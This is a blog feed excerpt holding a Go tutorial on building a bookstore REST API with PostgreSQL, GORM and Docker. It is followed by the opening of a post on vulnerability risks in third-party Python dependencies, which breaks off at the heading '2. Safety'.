<p>Last time I showed you how to <a target="_blank" href="https://blog.vojko.dev/introduction-to-go-create-your-first-rest-api">build a simple book store REST API</a>. This time I want to take it a step further and show you how to build an (almost) production-ready API with real database storage instead of an in-memory mock that we used. Also, I will show you how to dockerize our API.</p>
<p><strong>NOTE</strong>: In a hurry? Get the final code <a target="_blank" href="https://gitlab.com/vojko.pribudic/bookstore-api/-/tree/part-two">here</a>.</p>
</blockquote>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Obviously, the code from part one is required and you can find it <a target="_blank" href="https://gitlab.com/vojko.pribudic/bookstore-api/">here</a>.</p>
<p>Last time we already defined some of the prerequisites, so we will add some on top of those:</p>
<ul>
<li><p><a target="_blank" href="https://gorm.io/">gorm.io/gorm</a></p>
</li>
<li><p><a target="_blank" href="https://gorm.io/">gorm.io/driver/postgres</a></p>
</li>
<li><p><a target="_blank" href="https://www.docker.com/">Docker/docker-compose</a></p>
</li>
</ul>
<p><a target="_blank" href="https://tour.golang.org/welcome/1"><strong>Go tour</strong></a> is still highly recommended if you did not look at it before.</p>
<h2 id="heading-1-dockerization">1. Dockerization</h2>
<p><strong>Docker</strong> is an excellent tool in the web development world. Not only does it make our life easier in terms of <strong>shipping the app</strong> we are building, but it also makes your <strong>local development</strong> so much easier. Being cross-platform friendly, you really should make every app that you build <strong>dockerized</strong>. The whole idea behind Docker is that we will create a standalone image that will run our application on an OS that will power up our app and its dependencies.</p>
<p>Create a file named <code>Dockerfile</code> in your app root directory and put the following inside of it:</p>
<pre><code>FROM golang:<span class="hljs-number">1.17</span><span class="hljs-operator">-</span>alpine

RUN apk update <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> apk upgrade <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> \
    apk add <span class="hljs-operator">-</span><span class="hljs-operator">-</span>no<span class="hljs-operator">-</span>cache bash git openssh

WORKDIR <span class="hljs-operator">/</span>app

COPY go.mod go.sum ./
RUN go mod download
COPY . .

RUN go install github.com/cespare<span class="hljs-operator">/</span>reflex@latest

EXPOSE <span class="hljs-number">5000</span>
CMD exec reflex <span class="hljs-operator">-</span>r <span class="hljs-string">'(\.go$|go\.mod)'</span> go run main.go <span class="hljs-operator">-</span><span class="hljs-operator">-</span>start<span class="hljs-operator">-</span>service
</code></pre><p>So, we first state that we will inject our app to an existing <strong>Alpine Linux image</strong> that has Go preinstalled. We copy over the mod file and <strong>install all the modules needed</strong> in order for our app to run and then we copy over all of our application files. We also install <a target="_blank" href="https://github.com/cespare/reflex">reflex</a> module that will come in handy for the local development since it will detect changes in your code and reload the application to apply changes. Lastly, we start the monitoring of all <code>*.go</code> files and spin up <code>main.go</code>. We expose our app on port 5000.</p>
<p>So far so good... But what about the database? Time to create docker-compose file :)</p>
<h3 id="heading-11-docker-compose">1.1 docker-compose</h3>
<p>We use <strong>docker-compose</strong> as a service orchestrator of a docker image or multiple images. What the hell did I just say, eh? Well, our API will obviously need some sort of <strong>database</strong> in order to save our books information. We will hook it up just by making use of docker-compose.</p>
<p>Create a file named <code>docker-compose.yml</code> in your root directory again and put the following inside of it:</p>
<pre><code>version: <span class="hljs-string">"3.5"</span>
services:

  db:
    image: postgres:alpine
    restart: unless<span class="hljs-operator">-</span>stopped
    env_file:
      <span class="hljs-operator">-</span> ./.env
    ports:
      <span class="hljs-operator">-</span> <span class="hljs-string">"5432:5432"</span>
    volumes:
      <span class="hljs-operator">-</span> ./db:<span class="hljs-operator">/</span><span class="hljs-keyword">var</span><span class="hljs-operator">/</span>lib<span class="hljs-operator">/</span>postgresql<span class="hljs-operator">/</span>data

  bookstore<span class="hljs-operator">-</span>api:
    build: .
    volumes:
      <span class="hljs-operator">-</span> .:<span class="hljs-operator">/</span>app
    tty: <span class="hljs-literal">true</span>
    env_file:
      <span class="hljs-operator">-</span> ./.env
    ports:
      <span class="hljs-operator">-</span> <span class="hljs-string">"5000:5000"</span>
    restart: unless<span class="hljs-operator">-</span>stopped
    depends_on:
      <span class="hljs-operator">-</span> database
    stop_signal: SIGINT
</code></pre><p>A bit confusing on the first look, but it is not that complicated really. We can see the <strong>two services</strong> in there, one is called <code>bookstore-api</code> and the other one is called <code>db</code>. For the <code>db</code> service, we can see that we have the <code>image</code> parameter set to <code>postgres:alpine</code> which means that <strong>we won't install anything on our host machine</strong>, Docker will instead pull the prebuilt PostgreSQL image and run it inside of a container that we will later connect to.</p>
<p>As for the <code>bookstore-api</code> service, we can see the parameter <code>build: .</code> which means that in order to build the service, Docker will look inside of the current directory (.) for a file called <code>Dockerfile</code> and do as instructed in there.</p>
<p>Both of the services are exposed at certain ports and both were given environment variables via the <code>env_file</code> parameter. So where is our <code>.env</code> file? Good question, <strong>let's create one</strong> inside of our root directory:</p>
<pre><code><span class="hljs-attr">HOST</span>=<span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span>
<span class="hljs-attr">PORT</span>=<span class="hljs-number">5000</span>
<span class="hljs-attr">DB_USER</span>=pg
<span class="hljs-attr">DB_PASSWORD</span>=pass
<span class="hljs-attr">DB_HOST</span>=db
<span class="hljs-attr">DB_PORT</span>=<span class="hljs-number">5432</span>
<span class="hljs-attr">DB_NAME</span>=crud
</code></pre><p>This is the bare minimum that we will need for what we are building today. As you can see, the <code>.env</code> file consists of the server and database-related variables that we need in order for our app to work. Let's move on and start to implement the code.</p>
<h2 id="heading-2-tweaking-the-code">2. Tweaking the code</h2>
<p>Since we will be making use of the database in order to store our data, we will need some kind of <strong>ORM</strong> to help us not to write raw SQL queries but instead to make use of our models (structures). Let's go ahead and install <a target="_blank" href="https://gorm.io/">GORM</a> and its PostgreSQL driver:</p>
<pre><code>go get <span class="hljs-operator">-</span>u gorm.io/gorm
go get <span class="hljs-operator">-</span>u gorm.io/driver<span class="hljs-operator">/</span>postgres
</code></pre><p>Now before we continue further - remember the <code>.env</code> file we created earlier? Well, we need to "feed" that data inside of our app somehow. Inside of your <code>src</code> directory, create a new file called <code>config.go</code> and put the following inside of it:</p>
<pre><code><span class="hljs-keyword">package</span> src

<span class="hljs-keyword">type</span> Configuration <span class="hljs-keyword">struct</span> {
    Host       <span class="hljs-keyword">string</span>
    Port       <span class="hljs-keyword">string</span>
    DBUser     <span class="hljs-keyword">string</span>
    DBPassword <span class="hljs-keyword">string</span>
    DBHost     <span class="hljs-keyword">string</span>
    DBPort     <span class="hljs-keyword">string</span>
    DBName     <span class="hljs-keyword">string</span>
    DBString   <span class="hljs-keyword">string</span>
}
</code></pre><p>We will come back later to this part of the code so leave it like this for now.</p>
<h3 id="heading-21-main-app-modification">2.1 Main app modification</h3>
<p>Let's create a structure that will hold all of the "parts" that our app will use. Open up the <code>app.go</code> form <code>src</code> directory and add the following:</p>
<pre><code><span class="hljs-keyword">type</span> App <span class="hljs-keyword">struct</span> {
    Config Configuration
    Router <span class="hljs-operator">*</span>mux.Router
    DB     <span class="hljs-operator">*</span>gorm.DB
}
</code></pre><p>This is the <strong>main</strong> structure that our app will use. We have a config, router, and db ORM inside of this handy app wrapper. Now that we have the <code>App</code> wrapper ready, we can modify our <code>main.go</code> form the root directory:</p>
<pre><code>func main() {
    app :<span class="hljs-operator">=</span> src.App{}
    app.Configure()
    app.Run()
}
</code></pre><p>As you can see above - we created a new instance from the <code>App</code> structure wrapper and we called two methods from it, <code>Configure()</code> and <code>Run()</code>. The whole idea is that everything will be handled just by making use of those two methods.</p>
<p>Now that we have our <code>App</code> wrapper, we can add more code to our <code>config.go</code> inside of the <code>src</code> directory:</p>
<pre><code>func getEnv(key, <span class="hljs-function"><span class="hljs-keyword">fallback</span> <span class="hljs-title"><span class="hljs-keyword">string</span></span>) <span class="hljs-title"><span class="hljs-keyword">string</span></span> </span>{
    <span class="hljs-keyword">if</span> value, ok :<span class="hljs-operator">=</span> os.LookupEnv(key); ok {
        <span class="hljs-keyword">return</span> value
    }
    <span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">fallback</span>
}

<span class="hljs-title">func</span> (<span class="hljs-params">c *Configuration</span>) <span class="hljs-title">loadEnv</span>(<span class="hljs-params"></span>) </span>{
    c.Host <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"HOST"</span>, <span class="hljs-string">"0.0.0.0"</span>)
    c.Port <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"PORT"</span>, <span class="hljs-string">"5000"</span>)
    c.DBUser <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"DB_USER"</span>, <span class="hljs-string">"pg"</span>)
    c.DBPassword <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"DB_PASSWORD"</span>, <span class="hljs-string">"pass"</span>)
    c.DBHost <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"DB_HOST"</span>, <span class="hljs-string">"db"</span>)
    c.DBPort <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"DB_PORT"</span>, <span class="hljs-string">"5432"</span>)
    c.DBName <span class="hljs-operator">=</span> getEnv(<span class="hljs-string">"DB_NAME"</span>, <span class="hljs-string">"crud"</span>)
    c.DBString <span class="hljs-operator">=</span> fmt.Sprintf(
        <span class="hljs-string">"postgres://%s:%s@%s:%s/%s"</span>,
        c.DBUser,
        c.DBPassword,
        c.DBHost,
        c.DBPort,
        c.DBName,
    )
}
</code></pre><p>The <code>getEnv()</code> function will try to <strong>load the environment variable</strong> by a given key, and if it exists, it will return its value. If it does not exist, it will return the fallback value instead.</p>
<p>The <code>loadEnv()</code> function will take an instance from the <code>Configuration</code> structure and fill it with the data from the <code>.env</code> file.</p>
<p>Head back to your <code>app. go</code> inside of the <code>src</code> directory and first remove the <code>Start()</code> method since we won't make any use of it, and then add the following:</p>
<pre><code>func (app <span class="hljs-operator">*</span>App) Configure() {
    app.configureEnv()
    app.configureDB()
    app.configureRoutes()
    app.configureMiddleware()
}

func (app <span class="hljs-operator">*</span>App) Run() {
    log.Fatal(
        http.ListenAndServe(
            fmt.Sprintf(<span class="hljs-string">"%s:%s"</span>, app.Config.Host, app.Config.Port),
            handlers.LoggingHandler(os.Stdout, app.Router),
        ),
    )
}
</code></pre><p>As you can see, the <code>Run()</code> function is responsible for running the <code>http</code> server on desired host/port combination (the one that will come from our <code>.env</code> file) and to log the events that happen in there.</p>
<p>The <code>Configure()</code> method is responsible for quite a few things. Let's add more code and see everything that it will configure:</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(app *App)</span> <span class="hljs-title">configureEnv</span><span class="hljs-params">()</span></span> {
    app.Config.loadEnv()
}
</code></pre><p>This one will pass the <code>Config</code> (Configuration structure) from the <code>App</code> wrapper to the <code>loadEnv()</code> function inside of the <code>config.go</code>. This way our <code>app.Config</code> w<strong>ill get loaded with the environment variables</strong>.</p>
<pre><code>func (app <span class="hljs-operator">*</span>App) configureDB() {
    <span class="hljs-keyword">var</span> err <span class="hljs-function"><span class="hljs-keyword">error</span>
    <span class="hljs-title">app</span>.<span class="hljs-title">DB</span>, <span class="hljs-title">err</span> = <span class="hljs-title">gorm</span>.<span class="hljs-title">Open</span>(<span class="hljs-params">postgres.Open(<span class="hljs-params">app.Config.DBString</span>), &amp;gorm.Config{}</span>)

    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">err</span> != <span class="hljs-title">nil</span> </span>{
        log.Fatalln(err)
    }

    <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> app.DB.AutoMigrate(<span class="hljs-operator">&amp;</span>Book{})
}
</code></pre><p>The second param inside of our <code>App</code> wrapper is the <strong>GORM DB instance</strong>. The whole point of this function is to establish a connection by using <code>DBString</code> from the <code>app.Config</code>. Since we already loaded the <code>app.Config</code> with the environment data, <code>DBString</code> is already set at this point.</p>
<p><strong>The important</strong> line of code here is <code>_ = app.DB.AutoMigrate(&amp;Book{})</code>. This line of code will create a table inside of our DB called <code>books</code> and it will create all the fields from our <code>Book</code> structure.</p>
<p>In order to make this work, we need to make the <code>Book</code> structure a GORM model. This can be easily done - open up the <code>src/data.go</code> and do the <strong>following replacement</strong> inside of the <code>Book</code> structure:</p>
<pre><code>Id     <span class="hljs-type">int</span>    `<span class="hljs-type">json</span>:"id"     gorm:"primaryKey"`
</code></pre><p>The <code>gorm</code> annotation will make it a GORM model. Also, while we are editing the <code>data.go</code> <strong>we should remove the <code>booksDB</code> variable</strong> since this time we will use the real database.</p>
<p>Let's add more code to our <code>app.go</code>.</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(app *App)</span> <span class="hljs-title">configureMiddleware</span><span class="hljs-params">()</span></span> {
    app.Router.Use(commonMiddleware)
}
</code></pre><p>We already explained the middleware usage in the last part so this time it is just moved inside of a separate function (in case we decide to register more middleware later on) for the sake of code cleanliness.</p>
<pre><code>func (app <span class="hljs-operator">*</span>App) configureRoutes() {
    app.Router <span class="hljs-operator">=</span> mux.NewRouter()
    app.Router.HandleFunc(<span class="hljs-string">"/book"</span>, app.getAllBooks).Methods(http.MethodGet)
    app.Router.HandleFunc(<span class="hljs-string">"/book"</span>, app.addBook).Methods(http.MethodPost)
    app.Router.HandleFunc(<span class="hljs-string">"/book/{book_id:[0-9]+}"</span>, app.getBook).Methods(http.MethodGet)
    app.Router.HandleFunc(<span class="hljs-string">"/book/{book_id:[0-9]+}"</span>, app.updateBook).Methods(http.MethodPut)
    app.Router.HandleFunc(<span class="hljs-string">"/book/{book_id:[0-9]+}"</span>, app.deleteBook).Methods(http.MethodDelete)
}
</code></pre><p>This is also from the last part. We configure our routes on the <code>app.Router</code>. Other than just being moved to the separate function, <strong>we also did a tiny modification in terms of handlers</strong>. All of our handlers now have the <code>app.</code> prefix. Since we will GORM to store the data, our handlers need to access <code>app.DB</code> somehow and that is why we will pass <code>app</code> as a handler of the methods.</p>
<p>We have all of the functions needed in order for the <code>Configure()</code> function to work. Time to modify our handlers.</p>
<h3 id="heading-22-handlers-modification">2.2 Handlers modification</h3>
<p>Inside of our handlers, we will need to make use of DB from the <code>App</code> structure wrapper.</p>
<p>However, before we do that, we will need to modify our <code>src/helpers.go</code>. In part one we created a method to check for duplicates, but since we removed the <code>booksDB</code> from the <code>src/data.go</code> we will need to modify our <code>helpers.go</code>. Inside of the <code>helpers.go</code> remove both <code>removeBook()</code> and <code>checkDuplicateBookId()</code> functions. We will also add this function:</p>
<pre><code>func (app <span class="hljs-operator">*</span>App) checkBookExists(field <span class="hljs-keyword">string</span>, value <span class="hljs-keyword">string</span>) <span class="hljs-keyword">bool</span> {
    <span class="hljs-keyword">var</span> count <span class="hljs-keyword">int64</span>
    err :<span class="hljs-operator">=</span> app.DB.Model(<span class="hljs-operator">&amp;</span>Book{}).Select(<span class="hljs-string">"id"</span>).Where(fmt.Sprintf(<span class="hljs-string">"%s = ?"</span>, field), value).Count(<span class="hljs-operator">&amp;</span>count).Error
    <span class="hljs-keyword">if</span> err <span class="hljs-operator">!</span><span class="hljs-operator">=</span> nil {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
    }
    <span class="hljs-keyword">if</span> count <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
}
</code></pre><p>This function will try to get the <code>id</code> from the <code>Book</code> model (<code>books</code> table in the DB) by trying to find the row in our DB that has a <code>field</code> with a given <code>value</code>. So for example we will check the field <code>title</code> for the value <code>Harry Potter</code> in order to determine if it exists. Function will return <code>true</code> or <code>false</code>.</p>
<h4 id="heading-251-get-a-single-book">2.5.1 Get a single book</h4>
<pre><code>func (app <span class="hljs-operator">*</span>App) getBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    <span class="hljs-keyword">var</span> book Book
    vars :<span class="hljs-operator">=</span> mux.Vars(r)
    bookId, <span class="hljs-keyword">_</span> :<span class="hljs-operator">=</span> strconv.Atoi(vars[<span class="hljs-string">"book_id"</span>])
    result :<span class="hljs-operator">=</span> app.DB.First(<span class="hljs-operator">&amp;</span>book, bookId)
    <span class="hljs-keyword">if</span> result.Error <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nil {
        <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(book)
        <span class="hljs-keyword">return</span>
    }
    JSONResponse(w, http.StatusNotFound, <span class="hljs-string">""</span>)
}
</code></pre><p>The code is very similar to what we had in part one. The main difference is that we are now pulling the book from the database. We need to create the empty <code>Book</code> structure variable and search the DB for the first match from the <code>books</code> table that has the <code>id</code> set to the value of <code>bookId</code>, If we find it, we fill the <code>book</code> model variable with the data from the DB, else we will return <code>404: Not Found</code> status back.</p>
<h4 id="heading-252-get-all-books">2.5.2 Get all books</h4>
<pre><code>func (app <span class="hljs-operator">*</span>App) getAllBooks(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    <span class="hljs-keyword">var</span> books []Book
    <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> app.DB.Order(<span class="hljs-string">"id asc"</span>).Find(<span class="hljs-operator">&amp;</span>books)
    <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(books)
}
</code></pre><p>We first create a slice of <code>Books</code> since we are expecting multiple books from the DB. We search the DB for all of the data from the <code>books</code> table and populate the <code>books</code> slice with the data. </p>
<h4 id="heading-253-add-a-new-book">2.5.3 Add a new book</h4>
<pre><code>func (app <span class="hljs-operator">*</span>App) addBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    <span class="hljs-keyword">var</span> book Book
    decoder :<span class="hljs-operator">=</span> json.NewDecoder(r.Body)
    err :<span class="hljs-operator">=</span> decoder.Decode(<span class="hljs-operator">&amp;</span>book)
    <span class="hljs-keyword">if</span> err <span class="hljs-operator">!</span><span class="hljs-operator">=</span> nil {
        JSONResponse(w, http.StatusBadRequest, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> app.checkBookExists(<span class="hljs-string">"title"</span>, book.Title) {
        JSONResponse(w, http.StatusConflict, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    result :<span class="hljs-operator">=</span> app.DB.Create(<span class="hljs-operator">&amp;</span>book)
    <span class="hljs-keyword">if</span> result.Error <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nil {
        w.WriteHeader(<span class="hljs-number">201</span>)
        <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(book)
    }
}
</code></pre><p>First, we decode the payload body against the <code>book</code> model as we did in part one. If everything is ok, we need to check for duplicates. For this example, a duplicate is treated as a book of the same title. If there are no duplicates found, we create a new book inside of our DB with the data from the <code>book</code> model variable.</p>
<h4 id="heading-254-update-existing-book">2.5.4 Update existing book</h4>
<pre><code>func (app <span class="hljs-operator">*</span>App) updateBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    <span class="hljs-keyword">var</span> book Book
    <span class="hljs-keyword">var</span> newBook Book
    vars :<span class="hljs-operator">=</span> mux.Vars(r)
    bookId, <span class="hljs-keyword">_</span> :<span class="hljs-operator">=</span> strconv.Atoi(vars[<span class="hljs-string">"book_id"</span>])
    decoder :<span class="hljs-operator">=</span> json.NewDecoder(r.Body)
    err :<span class="hljs-operator">=</span> decoder.Decode(<span class="hljs-operator">&amp;</span>newBook)
    <span class="hljs-keyword">if</span> err <span class="hljs-operator">!</span><span class="hljs-operator">=</span> nil {
        JSONResponse(w, http.StatusBadRequest, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> app.checkBookExists(<span class="hljs-string">"title"</span>, newBook.Title) {
        JSONResponse(w, http.StatusConflict, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    result :<span class="hljs-operator">=</span> app.DB.First(<span class="hljs-operator">&amp;</span>book, bookId)
    <span class="hljs-keyword">if</span> result.Error <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nil {
        newBook.Id <span class="hljs-operator">=</span> bookId
        app.DB.Save(<span class="hljs-operator">&amp;</span>newBook)
        <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(newBook)
        <span class="hljs-keyword">return</span>
    }
    JSONResponse(w, http.StatusNotFound, <span class="hljs-string">""</span>)
}
</code></pre><p>For this one, we have to create two <code>Book</code> model instances. One will have the new data from the payload and the other one will contain the data that we try to get from the DB. since this is an update method,  we first must check that the book we are trying to update already exists. If it does, we need to check for the new data that we are updating in order to determine if we will create a duplicate by modifying the data. If everything is ok, we will save the new data over the old data (old book id).</p>
<h4 id="heading-255-delete-existing-book">2.5.5 Delete existing book</h4>
<pre><code>func (app <span class="hljs-operator">*</span>App) deleteBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    <span class="hljs-keyword">var</span> book Book
    vars :<span class="hljs-operator">=</span> mux.Vars(r)
    bookId, <span class="hljs-keyword">_</span> :<span class="hljs-operator">=</span> strconv.Atoi(vars[<span class="hljs-string">"book_id"</span>])
    result :<span class="hljs-operator">=</span> app.DB.First(<span class="hljs-operator">&amp;</span>book, bookId)
    <span class="hljs-keyword">if</span> result.Error <span class="hljs-operator">=</span><span class="hljs-operator">=</span> nil {
        app.DB.Delete(<span class="hljs-operator">&amp;</span>book)
        <span class="hljs-keyword">return</span>
    }
    JSONResponse(w, http.StatusNotFound, <span class="hljs-string">""</span>)
}
</code></pre><p>We need to find the book by a given <code>bookId</code> and if it exists, we will simply delete that row from the DB.</p>
<h2 id="heading-3-building-and-running-the-app">3. Building and running the app</h2>
<p>Let's see what we created :)</p>
<p>In order to run the app, first, we need to build it. Run the following command in your terminal:</p>
<pre><code>docker<span class="hljs-operator">-</span>compose build
</code></pre><p>Once the image is built successfully, we will spin it up:</p>
<pre><code>docker<span class="hljs-operator">-</span>compose<span class="hljs-operator">-</span>up
</code></pre><p>VOILA! Your API is up and running inside of the Docker image we just build. Feel free to test it with Insomnia / Postman.</p>
<p>The final code can be found <a target="_blank" href="https://gitlab.com/vojko.pribudic/bookstore-api/-/tree/part-two">here</a>.</p>
<p>Like always, thanks for reading :)</p>
]]></content:encoded></item><item><title><![CDATA[Staying safe while using third-party packages in Python]]></title><description><![CDATA[Whenever we are building something with Python, most of the time we rely on third-party packages so that we don't have to reinvent the wheel for some simple things like sending an HTTP request. By doing so we lose control of how safe we are with that...]]></description><link>https://blog.vojko.dev/staying-safe-while-using-third-party-packages-in-python</link><guid isPermaLink="true">https://blog.vojko.dev/staying-safe-while-using-third-party-packages-in-python</guid><category><![CDATA[Python]]></category><category><![CDATA[Security]]></category><category><![CDATA[ci-cd]]></category><category><![CDATA[Docker]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Fri, 11 Feb 2022 13:48:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1644583645914/Idox_qARh.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Whenever we are building something with Python, most of the time we rely on third-party packages so that we don't have to reinvent the wheel for some simple things like sending an HTTP request. By doing so we lose control of how safe we are with that decision. If you want to learn how to prevent security holes inside of your application or service, read below :)</p>
</blockquote>
<h2 id="heading-introduction">Introduction</h2>
<p>Before I explain the simple way <strong>HOW</strong> to prevent security holes that you could have inside of your application, we should first understand <strong>WHY</strong> this is so important.
Let me kick off this article with some interesting stats:</p>
<ul>
<li>Cybercrime is up ~600% due to the COVID-19 pandemic</li>
<li>In 2020, the average time to identify a breach was 207 days</li>
<li>43% of cyberattacks target small businesses</li>
<li>$3.86 million is the global average cost of a data breach</li>
</ul>
<p>Here comes the scariest one:</p>
<ul>
<li><strong>95% of cybersecurity breaches are a result of human error</strong></li>
</ul>
<p>In other words - 95% of the above <strong>could have been prevented</strong>. Unfortunately, human neglect is what leads to these numbers. Most of these could be prevented simply by making use of any sort of vulnerability scanner.</p>
<p>In my article, I will explain in detail how to <strong>utilize a simple scanner</strong> that will keep your dependencies safe :)</p>
<h2 id="heading-1-dependency-problem">1. Dependency problem</h2>
<p>Let's assume you are building an app that will act as currency exchange software (GUI, API, ...). You will need to hook up to some sort of <strong>external API</strong> to get the exchange rate list that you will rely on to do the currency conventions. Now comes the <strong>tricky part</strong> - unless you will do <strong>EVERYTHING</strong> from scratch, you will probably make use of <a target="_blank" href="https://pypi.org/project/requests/"><code>requests</code></a> (3rd party) package.</p>
<p>This is where things are getting messy. For the <code>requests</code> to work, that 3rd party package A<strong>LSO uses other 3rd party packages</strong> and installs them inside of your app (docker image, venv, server ...). If you check the <a target="_blank" href="https://github.com/psf/requests/blob/main/setup.py"><code>setup.py</code></a> from the <code>requests</code> package you can see exactly which 3rd party packages are needed for requests to work:</p>
<pre><code>requires = [
    <span class="hljs-symbol">'charset_normalizer</span>~=<span class="hljs-number">2.0</span>.<span class="hljs-number">0</span>; python_version &gt;= <span class="hljs-string">"3"</span>',
    <span class="hljs-symbol">'chardet</span>&gt;=<span class="hljs-number">3.0</span>.<span class="hljs-number">2</span>,&lt;<span class="hljs-number">5</span>; python_version &lt; <span class="hljs-string">"3"</span>',
    <span class="hljs-symbol">'idna</span>&gt;=<span class="hljs-number">2.5</span>,&lt;<span class="hljs-number">3</span>; python_version &lt; <span class="hljs-string">"3"</span>',
    <span class="hljs-symbol">'idna</span>&gt;=<span class="hljs-number">2.5</span>,&lt;<span class="hljs-number">4</span>; python_version &gt;= <span class="hljs-string">"3"</span>',
    <span class="hljs-symbol">'urllib3</span>&gt;=<span class="hljs-number">1.21</span>.<span class="hljs-number">1</span>,&lt;<span class="hljs-number">1.27</span>',
    <span class="hljs-symbol">'certifi</span>&gt;=<span class="hljs-number">2017.4</span>.<span class="hljs-number">17</span>'
]
</code></pre><p>Not that bad, right? Well, the thing is that every one of these can <strong>ALSO</strong> have sub-packages they need to run themselves. </p>
<h3 id="heading-11-building-the-complete-dependency-tree">1.1 Building the complete dependency tree</h3>
<p>Ok, let's see all of this in action. Create a new project and create a <a target="_blank" href="https://docs.python.org/3/library/venv.html">virtual environment</a> along with it. Activate the <code>venv</code> you just created:</p>
<p><code>source /path-to-your-venv/bin/activate</code></p>
<p>Once your venv is activated, create a file (outside of your venv in your project root) called <code>requirements.in</code> and put the following inside of it:</p>
<pre><code><span class="hljs-attribute">aiohttp</span>
requests
</code></pre><p>For the fun of it, I also added the <a target="_blank" href="https://pypi.org/project/aiohttp/"><code>aiohttp</code></a> package.
Now let's install <code>pip-tools</code> to compile the dependency tree:</p>
<p><code>pip install pip-tools</code></p>
<p>Build the dependency tree by executing the following:</p>
<p><code>pip-compile -r requirements.in</code></p>
<p>After it is done, you will notice a new file in your project root called <code>requirements.txt</code>. That's what we were looking for - <strong>the complete dependency tree</strong>. All of the requirements are there:</p>
<pre><code><span class="hljs-comment">#</span>
<span class="hljs-comment"># This file is autogenerated by pip-compile with python 3.10</span>
<span class="hljs-comment"># To update, run:</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#    pip-compile requirements.in</span>
<span class="hljs-comment">#</span>
<span class="hljs-attribute">aiohttp</span>==<span class="hljs-number">3</span>.<span class="hljs-number">8</span>.<span class="hljs-number">1</span>
    <span class="hljs-comment"># via -r requirements.in</span>
<span class="hljs-attribute">aiosignal</span>==<span class="hljs-number">1</span>.<span class="hljs-number">2</span>.<span class="hljs-number">0</span>
    <span class="hljs-comment"># via aiohttp</span>
<span class="hljs-attribute">async</span>-timeout==<span class="hljs-number">4</span>.<span class="hljs-number">0</span>.<span class="hljs-number">2</span>
    <span class="hljs-comment"># via aiohttp</span>
<span class="hljs-attribute">attrs</span>==<span class="hljs-number">21</span>.<span class="hljs-number">4</span>.<span class="hljs-number">0</span>
    <span class="hljs-comment"># via aiohttp</span>
<span class="hljs-attribute">certifi</span>==<span class="hljs-number">2021</span>.<span class="hljs-number">10</span>.<span class="hljs-number">8</span>
    <span class="hljs-comment"># via requests</span>
<span class="hljs-attribute">charset</span>-normalizer==<span class="hljs-number">2</span>.<span class="hljs-number">0</span>.<span class="hljs-number">11</span>
    <span class="hljs-comment"># via</span>
    <span class="hljs-comment">#   aiohttp</span>
    <span class="hljs-comment">#   requests</span>
<span class="hljs-attribute">frozenlist</span>==<span class="hljs-number">1</span>.<span class="hljs-number">3</span>.<span class="hljs-number">0</span>
    <span class="hljs-comment"># via</span>
    <span class="hljs-comment">#   aiohttp</span>
    <span class="hljs-comment">#   aiosignal</span>
<span class="hljs-attribute">idna</span>==<span class="hljs-number">3</span>.<span class="hljs-number">3</span>
    <span class="hljs-comment"># via</span>
    <span class="hljs-comment">#   requests</span>
    <span class="hljs-comment">#   yarl</span>
<span class="hljs-attribute">multidict</span>==<span class="hljs-number">6</span>.<span class="hljs-number">0</span>.<span class="hljs-number">2</span>
    <span class="hljs-comment"># via</span>
    <span class="hljs-comment">#   aiohttp</span>
    <span class="hljs-comment">#   yarl</span>
<span class="hljs-attribute">requests</span>==<span class="hljs-number">2</span>.<span class="hljs-number">27</span>.<span class="hljs-number">1</span>
    <span class="hljs-comment"># via -r requirements.in</span>
<span class="hljs-attribute">urllib3</span>==<span class="hljs-number">1</span>.<span class="hljs-number">26</span>.<span class="hljs-number">8</span>
    <span class="hljs-comment"># via requests</span>
<span class="hljs-attribute">yarl</span>==<span class="hljs-number">1</span>.<span class="hljs-number">7</span>.<span class="hljs-number">2</span>
    <span class="hljs-comment"># via aiohttp</span>
</code></pre><p>Do you see how many there are? And we only included <strong>two packages</strong> for our application. Imagine how many there are once you are finished creating your application :)</p>
<h2 id="heading-2-safety">2. Safety</h2>
